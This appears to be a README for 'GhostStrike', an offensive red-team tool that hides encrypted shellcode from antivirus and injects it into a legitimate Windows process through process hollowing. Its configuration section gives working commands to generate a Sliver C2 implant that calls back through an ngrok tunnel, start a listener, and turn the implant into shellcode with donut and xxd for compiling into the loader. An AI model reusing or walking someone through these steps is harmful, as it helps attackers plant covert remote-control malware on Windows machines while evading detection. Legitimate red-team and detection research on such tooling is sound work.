GhostStrike – The Shadows Of Advanced Cybersecurity Operations

GhostStrike is an advanced cybersecurity tool designed for Red Team operations, featuring sophisticated techniques to evade detection and perform process hollowing on Windows systems.

Features

  • Dynamic API Resolution: Utilizes a custom hash-based method to dynamically resolve Windows APIs, avoiding detection by signature-based security tools.
  • Base64 Encoding/Decoding: Encodes and decodes shellcode to obscure its presence in memory, making it more difficult for static analysis tools to detect.
  • Cryptographic Key Generation: Generates secure cryptographic keys using Windows Cryptography APIs to encrypt and decrypt shellcode, adding an extra layer of protection.
  • XOR Encryption/Decryption: Simple but effective XOR-based encryption to protect the shellcode during its injection process.
  • Control Flow Flattening: Implements control flow flattening to obfuscate the execution path, complicating analysis by both static and dynamic analysis tools.
  • Process Hollowing: Injects encrypted shellcode into a legitimate Windows process, allowing it to execute covertly without raising suspicions.

Configuration

You can configure GhostStrike with the following steps:

  1. Create Ngrok Service: ngrok tcp 443
  2. Generate Sliver C2 Implant: generate --mtls x.tcp.ngrok.io --save YourFile.exe
  3. Create Listener: mtls --lhost 0.0.0.0 --lport 443
  4. Convert to .bin: ./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin
  5. Convert to C++ Shellcode: xxd -i YourFile.bin > YourFile.h
  6. Import YourFile.h to this code
  7. Compile and enjoy! 🚀

Requirements

  • C++ Compiler: Any modern C++ compiler, such as g++, clang++, or Visual Studio, is sufficient to compile the code.

No additional dependencies are needed to build GhostStrike. Simply compile the source code with your preferred C++ compiler, and you’re ready to go!
